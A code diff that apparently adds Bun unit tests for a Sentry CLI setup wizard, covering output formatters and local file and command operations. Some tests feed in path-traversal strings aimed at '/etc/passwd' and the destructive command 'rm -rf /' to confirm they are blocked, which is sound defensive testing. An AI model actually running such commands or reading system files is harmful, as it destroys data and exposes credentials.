expect, spyOn, test } from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +import { formatError, formatResult } from "../../../src/lib/init/formatters.js"; + +// Spy on clack functions to capture arguments without replacing them +let noteSpy: ReturnType; +let outroSpy: ReturnType; +let cancelSpy: ReturnType; +let logInfoSpy: ReturnType; +let logWarnSpy: ReturnType; +let logErrorSpy: ReturnType; + +const noop = () => { + /* suppress clack output */ +}; + +beforeEach(() => { + noteSpy = spyOn(clack, "note").mockImplementation(noop); + outroSpy = spyOn(clack, "outro").mockImplementation(noop); + cancelSpy = spyOn(clack, "cancel").mockImplementation(noop); + logInfoSpy = spyOn(clack.log, "info").mockImplementation(noop); + logWarnSpy = spyOn(clack.log, "warn").mockImplementation(noop); + logErrorSpy = spyOn(clack.log, "error").mockImplementation(noop); +}); + +afterEach(() => { + noteSpy.mockRestore(); + outroSpy.mockRestore(); + cancelSpy.mockRestore(); + logInfoSpy.mockRestore(); + logWarnSpy.mockRestore(); + logErrorSpy.mockRestore(); +}); + +describe("formatResult", () => { + test("displays summary with all fields and action icons", () => { + formatResult({ + result: { + platform: "Next.js", + projectDir: "/app", + features: ["errorMonitoring", "performanceMonitoring"], + commands: ["npm install @sentry/nextjs"], + sentryProjectUrl: "https://sentry.io/project", + docsUrl: "https://docs.sentry.io", + changedFiles: [ + { action: "create", path: "sentry.client.config.ts" }, + { action: "modify", path: "next.config.js" }, + { action: "delete", path: "old-sentry.js" }, + ], + }, + }); + + expect(noteSpy).toHaveBeenCalledTimes(1); + const noteContent: string = noteSpy.mock.calls[0][0]; + + expect(noteContent).toContain("Next.js"); + expect(noteContent).toContain("/app"); + expect(noteContent).toContain("Error Monitoring"); + expect(noteContent).toContain("Performance Monitoring"); + expect(noteContent).toContain("npm install @sentry/nextjs"); + expect(noteContent).toContain("+ sentry.client.config.ts"); + expect(noteContent).toContain("~ next.config.js"); + expect(noteContent).toContain("- old-sentry.js"); + + expect(noteSpy.mock.calls[0][1]).toBe("Setup complete"); + }); + + test("skips note when result has no summary fields", () => { + formatResult({}); + + expect(noteSpy).not.toHaveBeenCalled(); + expect(outroSpy).toHaveBeenCalled(); + }); + + test("displays warnings when present", () => { + formatResult({ + result: { + warnings: ["Source maps not configured", "Missing DSN"], + }, + }); + + expect(logWarnSpy).toHaveBeenCalledTimes(2); + expect(logWarnSpy.mock.calls[0][0]).toBe("Source maps not configured"); + expect(logWarnSpy.mock.calls[1][0]).toBe("Missing DSN"); + }); + + test("unwraps nested result property", () => { + formatResult({ result: { platform: "React" } }); + + const noteContent: string = noteSpy.mock.calls[0][0]; + expect(noteContent).toContain("React"); + }); +}); + +describe("formatError", () => { + test("logs the error message", () => { + formatError({ error: "Connection timed out" }); + + expect(logErrorSpy).toHaveBeenCalledWith("Connection timed out"); + expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); + }); + + test("extracts message from nested result.message", () => { + formatError({ result: { message: "Inner failure" } }); + + expect(logErrorSpy).toHaveBeenCalledWith("Inner failure"); + }); + + test("falls back to unknown error when no message available", () => { + formatError({}); + + expect(logErrorSpy).toHaveBeenCalledWith( + "Wizard failed with an unknown error" + ); + }); + + test("shows --force hint for already-installed exit code (10)", () => { + formatError({ result: { exitCode: 10 } }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("--force"); + }); + + test("shows platform hint for detection failure exit code (20)", () => { + formatError({ result: { exitCode: 20 } }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("platform"); + }); + + test("shows manual install commands for dependency failure (30)", () => { + formatError({ + result: { + exitCode: 30, + commands: ["npm install @sentry/node"], + }, + }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("$ npm install @sentry/node"); + }); + + test("shows verification hint for exit code 50", () => { + formatError({ result: { exitCode: 50 } }); + + const warnMsg: string = logWarnSpy.mock.calls[0][0]; + expect(warnMsg).toContain("verification"); + }); + + test("shows docs URL when present", () => { + formatError({ + result: { docsUrl: "https://docs.sentry.io/platforms/react/" }, + }); + + const infoCalls = logInfoSpy.mock.calls.map((c) => String(c[0])); + expect( + infoCalls.some((s) => + s.includes("https://docs.sentry.io/platforms/react/") + ) + ).toBe(true); + }); +}); diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 9a5a186e..22d220fd 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -1,5 +1,32 @@ -import { describe, expect, test } from "bun:test"; -import { validateCommand } from "../../../src/lib/init/local-ops.js"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import fs, { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { + handleLocalOp, + validateCommand, +} from "../../../src/lib/init/local-ops.js"; +import type { + ApplyPatchsetPayload, + FileExistsBatchPayload, + ListDirPayload, + LocalOpPayload, + ReadFilesPayload, + RunCommandsPayload, + WizardOptions, +} from "../../../src/lib/init/types.js"; + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: false, + dryRun: false, + stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + ...overrides, + }; +} describe("validateCommand", () => { test("allows legitimate install commands", () => { @@ -81,3 +108,583 @@ describe("validateCommand", () => { expect(validateCommand(" ")).toContain("empty command"); }); }); + +describe("handleLocalOp", () => { + let testDir: string; + const options = makeOptions(); + + beforeEach(() => { + testDir = mkdtempSync(join("/tmp", "local-ops-test-")); + }); + + afterEach(() => { + rmSync(testDir, { recursive: true, force: true }); + }); + + describe("dispatcher", () => { + test("returns error for unknown operation", async () => { + const payload = { + type: "local-op", + operation: "teleport", + cwd: testDir, + params: {}, + } as unknown as LocalOpPayload; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("Unknown operation"); + }); + }); + + describe("path traversal protection", () => { + test("rejects relative path escaping cwd", async () => { + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "../../../etc" }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); + + test("rejects absolute path outside cwd in read-files", async () => { + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["/etc/passwd"] }, + }; + + const result = await handleLocalOp(payload, options); + // read-files catches errors per-file and returns null + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["/etc/passwd"]).toBeNull(); + }); + + test("allows relative path within cwd", async () => { + mkdirSync(join(testDir, "subdir")); + writeFileSync(join(testDir, "subdir", "file.txt"), "hello"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "subdir" }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + }); + + describe("list-dir", () => { + test("lists files and directories with correct types", async () => { + writeFileSync(join(testDir, "file1.txt"), "a"); + writeFileSync(join(testDir, "file2.ts"), "b"); + mkdirSync(join(testDir, "subdir")); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: "." }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + + const entries = ( + result.data as { + entries: Array<{ + name: string; + type: "file" | "directory"; + }>; + } + ).entries; + expect(entries).toHaveLength(3); + + const names = entries.map((e) => e.name).sort(); + expect(names).toEqual(["file1.txt", "file2.ts", "subdir"]); + + const dir = entries.find((e) => e.name === "subdir"); + expect(dir?.type).toBe("directory"); + + const file = entries.find((e) => e.name === "file1.txt"); + expect(file?.type).toBe("file"); + }); + + test("respects maxEntries limit", async () => { + for (let i = 0; i < 10; i++) { + writeFileSync(join(testDir, `file${i}.txt`), "x"); + } + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", maxEntries: 3 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ name: string }> }) + .entries; + expect(entries).toHaveLength(3); + }); + + test("recursive mode traverses nested directories", async () => { + mkdirSync(join(testDir, "a")); + writeFileSync(join(testDir, "a", "nested.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 3 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const paths = entries.map((e) => e.path); + expect(paths).toContain(join("a", "nested.txt")); + }); + + test("skips node_modules and dot-directories when recursing", async () => { + mkdirSync(join(testDir, "node_modules", "pkg"), { recursive: true }); + writeFileSync(join(testDir, "node_modules", "pkg", "index.js"), "x"); + mkdirSync(join(testDir, ".git", "objects"), { recursive: true }); + writeFileSync(join(testDir, ".git", "objects", "abc"), "x"); + mkdirSync(join(testDir, "src")); + writeFileSync(join(testDir, "src", "app.ts"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 5 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const paths = entries.map((e) => e.path); + + // The top-level dirs are listed but not recursed into + expect(paths).toContain("node_modules"); + expect(paths).toContain(".git"); + // Their children should NOT be listed + expect(paths).not.toContain(join("node_modules", "pkg")); + expect(paths).not.toContain(join(".git", "objects")); + // src IS recursed into + expect(paths).toContain(join("src", "app.ts")); + }); + + test("respects maxDepth limit", async () => { + // Create 3-level deep structure + mkdirSync(join(testDir, "a", "b", "c"), { recursive: true }); + writeFileSync(join(testDir, "a", "b", "c", "deep.txt"), "x"); + + const payload: ListDirPayload = { + type: "local-op", + operation: "list-dir", + cwd: testDir, + params: { path: ".", recursive: true, maxDepth: 1 }, + }; + + const result = await handleLocalOp(payload, options); + const entries = (result.data as { entries: Array<{ path: string }> }) + .entries; + const paths = entries.map((e) => e.path); + + expect(paths).toContain("a"); + expect(paths).toContain(join("a", "b")); + // Depth 2+ should not be reached + expect(paths).not.toContain(join("a", "b", "c")); + }); + }); + + describe("read-files", () => { + test("reads file contents correctly", async () => { + writeFileSync(join(testDir, "hello.txt"), "world"); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["hello.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["hello.txt"]).toBe("world"); + }); + + test("returns null for non-existent files", async () => { + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["missing.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["missing.txt"]).toBeNull(); + }); + + test("truncates files exceeding maxBytes", async () => { + const content = "A".repeat(1000); + writeFileSync(join(testDir, "big.txt"), content); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["big.txt"], maxBytes: 50 }, + }; + + const result = await handleLocalOp(payload, options); + const files = (result.data as { files: Record }) + .files; + expect(files["big.txt"]?.length).toBe(50); + }); + + test("handles multiple files in one call", async () => { + writeFileSync(join(testDir, "a.txt"), "aaa"); + writeFileSync(join(testDir, "b.txt"), "bbb"); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["a.txt", "b.txt", "c.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + const files = (result.data as { files: Record }) + .files; + expect(files["a.txt"]).toBe("aaa"); + expect(files["b.txt"]).toBe("bbb"); + expect(files["c.txt"]).toBeNull(); + }); + }); + + describe("file-exists-batch", () => { + test("correctly identifies existing and missing files", async () => { + writeFileSync(join(testDir, "exists.txt"), "yes"); + + const payload: FileExistsBatchPayload = { + type: "local-op", + operation: "file-exists-batch", + cwd: testDir, + params: { paths: ["exists.txt", "nope.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const exists = (result.data as { exists: Record }) + .exists; + expect(exists["exists.txt"]).toBe(true); + expect(exists["nope.txt"]).toBe(false); + }); + + test("returns false for path traversal attempts", async () => { + const payload: FileExistsBatchPayload = { + type: "local-op", + operation: "file-exists-batch", + cwd: testDir, + params: { paths: ["../../etc/passwd"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const exists = (result.data as { exists: Record }) + .exists; + expect(exists["../../etc/passwd"]).toBe(false); + }); + }); + + describe("run-commands", () => { + test("executes command and captures stdout", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["echo hello"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const results = ( + result.data as { + results: Array<{ + stdout: string; + exitCode: number; + }>; + } + ).results; + expect(results[0].stdout.trim()).toBe("hello"); + expect(results[0].exitCode).toBe(0); + }); + + test("returns error on failed command", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["ls /nonexistent_path_that_does_not_exist_xyz"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("failed with exit code"); + }); + + test("rejects blocked commands", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["rm -rf /"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("Blocked command"); + }); + + test("stops on first failed command in a sequence", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["false", "echo should_not_run"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + const results = ( + result.data as { + results: Array<{ command: string }>; + } + ).results; + expect(results).toHaveLength(1); + expect(results[0].command).toBe("false"); + }); + + test("dry-run skips execution and validation", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["rm -rf /", "echo hello"] }, + }; + + const dryRunOptions = makeOptions({ dryRun: true }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(true); + const results = ( + result.data as { + results: Array<{ stdout: string; exitCode: number }>; + } + ).results; + expect(results).toHaveLength(2); + expect(results[0].stdout).toBe("(dry-run: skipped)"); + expect(results[0].exitCode).toBe(0); + }); + }); + + describe("apply-patchset", () => { + test("creates a new file with content", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "new.txt", action: "create", patch: "hello world" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect(fs.readFileSync(join(testDir, "new.txt"), "utf-8")).toBe( + "hello world" + ); + }); + + test("creates nested directories automatically", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { + path: "deep/nested/file.txt", + action: "create", + patch: "content", + }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect( + fs.readFileSync(join(testDir, "deep", "nested", "file.txt"), "utf-8") + ).toBe("content"); + }); + + test("modifies an existing file", async () => { + writeFileSync(join(testDir, "existing.txt"), "old"); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "existing.txt", action: "modify", patch: "new content" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect(fs.readFileSync(join(testDir, "existing.txt"), "utf-8")).toBe( + "new content" + ); + }); + + test("fails when modifying a non-existent file", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "ghost.txt", action: "modify", patch: "content" }], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("file does not exist"); + }); + + test("deletes an existing file", async () => { + writeFileSync(join(testDir, "doomed.txt"), "bye"); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "doomed.txt", action: "delete", patch: "" }], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + expect(fs.existsSync(join(testDir, "doomed.txt"))).toBe(false); + }); + + test("delete is a no-op for non-existent file", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "ghost.txt", action: "delete", patch: "" }], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + }); + + test("applies multiple patches in sequence", async () => { + writeFileSync(join(testDir, "to-modify.txt"), "old"); + writeFileSync(join(testDir, "to-delete.txt"), "bye"); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "created.txt", action: "create", patch: "new" }, + { path: "to-modify.txt", action: "modify", patch: "updated" }, + { path: "to-delete.txt", action: "delete", patch: "" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + + const applied = ( + result.data as { applied: Array<{ path: string; action: string }> } + ).applied; + expect(applied).toHaveLength(3); + + expect(fs.existsSync(join(testDir, "created.txt"))).toBe(true); + expect(fs.readFileSync(join(testDir, "to-modify.txt"), "utf-8")).toBe( + "updated" + ); + expect(fs.existsSync(join(testDir, "to-delete.txt"))).toBe(false); + }); + + test("dry-run does not write files but reports actions", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "phantom.txt", action: "create", patch: "content" }, + ], + }, + }; + + const dryRunOptions = makeOptions({ dryRun: true }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(true); + + const applied = ( + result.data as { applied: Array<{ path: string; action: string }> } + ).applied; + expect(applied).toHaveLength(1); + expect(applied[0].action).toBe("create"); + + // File should NOT exist on disk + expect(fs.existsSync(join(testDir, "phantom.txt"))).toBe(false); + }); + + test("dry-run still validates path safety", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [{ path: "../../evil.txt", action: "create", patch: "bad" }], + }, + }; + + const dryRunOptions = makeOptions({ dryRun: true }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + }); + }); +});